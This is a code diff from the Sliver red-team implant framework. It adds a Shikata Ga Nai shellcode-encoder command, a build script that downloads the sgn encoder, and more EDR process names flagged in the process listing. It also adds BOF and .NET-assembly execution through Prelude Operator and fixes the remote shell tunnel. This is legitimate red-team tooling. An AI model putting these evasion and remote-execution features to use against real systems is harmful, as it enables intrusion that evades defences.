strings.Repeat("=", len("UUID")),
|
||||
)
|
||||
|
||||
for _, loot := range allLoot.Loot {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
|
||||
filename := ""
|
||||
if loot.File != nil {
|
||||
filename = loot.File.Name
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
|
||||
}
|
||||
|
||||
table.Flush()
|
||||
|
||||
@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
var options []bool
|
||||
options = append(options, ctx.Flags.Bool("allow-all"))
|
||||
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
|
||||
Type: sliverpb.PivotType_NamedPipe,
|
||||
BindAddress: ctx.Flags.String("bind"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Options: options,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -37,15 +37,21 @@ var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
}
|
||||
)
|
||||
|
||||
@@ -110,13 +116,13 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
|
||||
fallthrough
|
||||
default:
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
|
||||
}
|
||||
|
||||
cmdLine := ctx.Flags.Bool("print-cmdline")
|
||||
@@ -134,8 +140,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "pid", Mode: table.Asc},
|
||||
{Name: "ppid", Mode: table.Asc},
|
||||
{Name: "pid", Mode: table.AscNumeric},
|
||||
{Name: "ppid", Mode: table.AscNumeric},
|
||||
})
|
||||
if !interactive {
|
||||
overflow = true
|
||||
@@ -182,6 +188,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
@@ -190,6 +197,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
@@ -210,6 +218,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
}
|
||||
} else {
|
||||
@@ -217,6 +226,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,10 +20,9 @@ package reconfig
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -36,12 +35,9 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Option to change the agent name
|
||||
name := ctx.Flags.String("name")
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
con.PrintErrorf("Name must be in alphanumeric only\n")
|
||||
return
|
||||
}
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var beaconID string
|
||||
|
||||
@@ -47,6 +47,7 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
|
||||
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
|
||||
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
|
||||
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
|
||||
@@ -61,6 +61,8 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
|
||||
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
@@ -82,7 +84,6 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
|
||||
|
||||
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
defer tunnel.Close()
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -94,6 +95,19 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
//
|
||||
if shell.Response != nil && shell.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", shell.Response.Err)
|
||||
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
|
||||
TunnelID: tunnel.ID,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("RPC Error: %s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
defer tunnel.Close()
|
||||
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
package sgn
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
|
||||
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
shellcodeFile := ctx.Args.String("shellcode")
|
||||
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read shellcode file: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
arch := ctx.Flags.String("arch")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
rawBadChars := ctx.Flags.String("bad-chars")
|
||||
badChars, err := hex.DecodeString(rawBadChars)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode bad chars: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
|
||||
|
||||
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iterations),
|
||||
BadChars: badChars,
|
||||
Data: rawShellcode,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
outputFile := ctx.Flags.String("save")
|
||||
if outputFile == "" {
|
||||
outputFile = filepath.Base(shellcodeFile)
|
||||
outputFile += ".sgn"
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write shellcode file: %s", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
|
||||
}
|
||||
@@ -358,7 +358,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
"modified": &grumble.FlagMapItem{Value: false},
|
||||
"size": &grumble.FlagMapItem{Value: false},
|
||||
}
|
||||
filesystem.PrintLs(ls, flags, "", con)
|
||||
filesystem.PrintLs(ls, flags, con)
|
||||
|
||||
case sliverpb.MsgMvReq:
|
||||
mv := &sliverpb.Mv{}
|
||||
|
||||
@@ -113,6 +113,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
HelpHeadlineColor: color.New(),
|
||||
HelpHeadlineUnderline: true,
|
||||
HelpSubCommands: true,
|
||||
VimMode: settings.VimMode,
|
||||
}),
|
||||
Rpc: rpc,
|
||||
ActiveTarget: &ActiveTarget{
|
||||
|
||||
@@ -236,6 +236,8 @@ const (
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -20,6 +20,7 @@ package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
@@ -202,6 +203,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
|
||||
log.Printf("[tcpproxy] Failed to dial implant %s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
|
||||
@@ -218,6 +220,14 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Close tunnel in case of error on the implant side
|
||||
if portfwdResp.Response != nil && portfwdResp.Response.Err != "" {
|
||||
p.Rpc.CloseTunnel(ctx, &sliverpb.Tunnel{
|
||||
TunnelID: tunnel.ID,
|
||||
SessionID: p.Session.ID,
|
||||
})
|
||||
return nil, errors.New(portfwdResp.Response.Err)
|
||||
}
|
||||
log.Printf("Portfwd response: %v", portfwdResp)
|
||||
|
||||
return tunnel, nil
|
||||
|
||||
@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 Ege Balcı
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, b4rtik
|
||||
|
||||
@@ -1,4 +1,12 @@
|
||||
Prelude
|
||||
=======
|
||||
|
||||
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
|
||||
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
|
||||
|
||||
## BOF support
|
||||
|
||||
To execute BOF TTPs, use the custom `bof` executor:
|
||||
|
||||
```json
|
||||
bof.[{"type": "int", "value": #{json.T1234.ProcessId}}]
|
||||
```
|
||||
+52
-42
@@ -34,52 +34,62 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
switch task[0] {
|
||||
case "bof":
|
||||
if len(task) != 2 {
|
||||
break
|
||||
}
|
||||
var bargs []bofArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &bargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "execute-assembly":
|
||||
if len(task) < 2 {
|
||||
break
|
||||
}
|
||||
var eaargs execasmArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &eaargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return processKeywordExecutor(task, payload, agentSession, onFinish)
|
||||
case "bof", "extension":
|
||||
// can be either BOF or regular extension
|
||||
return runExtension(message, payload, agentSession.Implant, agentSession.RPC, onFinish)
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agentSession, onFinish)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
}
|
||||
|
||||
func processKeywordExecutor(task []string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
|
||||
if len(task) == 0 {
|
||||
return "", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
switch task[0] {
|
||||
case "bof":
|
||||
if len(task) != 2 {
|
||||
break
|
||||
}
|
||||
var bargs []bofArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &bargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "execute-assembly":
|
||||
if len(task) < 2 {
|
||||
break
|
||||
}
|
||||
var eaargs execasmArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &eaargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return "", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
)
|
||||
|
||||
//{"Name":"coff-loader", "ServerStore":false, "Args":"PAYLOAD.BYTES", "Export":"LoadAndRun", "arguments": [{"type": "wstring", "value": "C:\Users\lab\Downloads\RELIEVED_TV.exe"}]}
|
||||
type extensionMessage struct {
|
||||
Name string `json:"Name"`
|
||||
ServerStore bool `json:"ServerStore"`
|
||||
Args string `json:"Args"`
|
||||
Export string `json:"Export"`
|
||||
Arguments []bofArgs `json:"arguments"`
|
||||
}
|
||||
|
||||
func runExtension(message string, payload []byte, activeImplant ActiveImplant, rpc rpcpb.SliverRPCClient, onFinish func(string, int, int)) (string, int, int) {
|
||||
var msg extensionMessage
|
||||
err := json.Unmarshal([]byte(message), &msg)
|
||||
if err != nil {
|
||||
println(message)
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if msg.Args == "PAYLOAD.BYTES" {
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(activeImplant, rpc, payload, msg.Arguments, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, SuccessExitStatus, SuccessExitStatus
|
||||
}
|
||||
return "Unsupported extension", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
@@ -112,7 +112,6 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
|
||||
if p.conf.AESKey == "" {
|
||||
return errors.New("missing AES key")
|
||||
}
|
||||
a.GetID()
|
||||
encryptionKey := p.conf.AESKey
|
||||
agentConfig := AgentConfig{
|
||||
Name: a.GetID(),
|
||||
|
||||
@@ -21,7 +21,7 @@ package util
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
|
||||
"file": {"powershell.exe", "powershell.exe", "cmd.exe", "", ""},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
|
||||
},
|
||||
"linux": {
|
||||
|
||||
+1
-1
@@ -265,7 +265,7 @@ GEM
|
||||
thread_safe (0.3.6)
|
||||
typhoeus (1.4.0)
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.9)
|
||||
tzinfo (1.2.10)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2021.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
|
||||
+28
-2
@@ -20,12 +20,12 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.18.3"
|
||||
GO_VER="1.18.5"
|
||||
GARBLE_VER="1.18.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
GO_ARCH_3="386"
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
if ! [ -x "$(command -v curl)" ]; then
|
||||
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
# Linux (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
|
||||
|
||||
# Linux (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
|
||||
|
||||
# Windows (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
|
||||
|
||||
# MacOS (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
|
||||
|
||||
# MacOS (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
|
||||
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
|
||||
@@ -149,6 +149,7 @@ else
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
export GOPROXY=off
|
||||
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
|
||||
:
|
||||
else
|
||||
|
||||
@@ -2,7 +2,7 @@ module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
|
||||
|
||||
require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
|
||||
@@ -648,8 +648,8 @@ github.com/modern-go/reflect2 v0.0.0-20180320133207-05fbef0ca5da/go.mod h1:bx2lN
|
||||
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/mohae/deepcopy v0.0.0-20170308212314-bb9b5e7adda9/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=
|
||||
github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
|
||||
github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
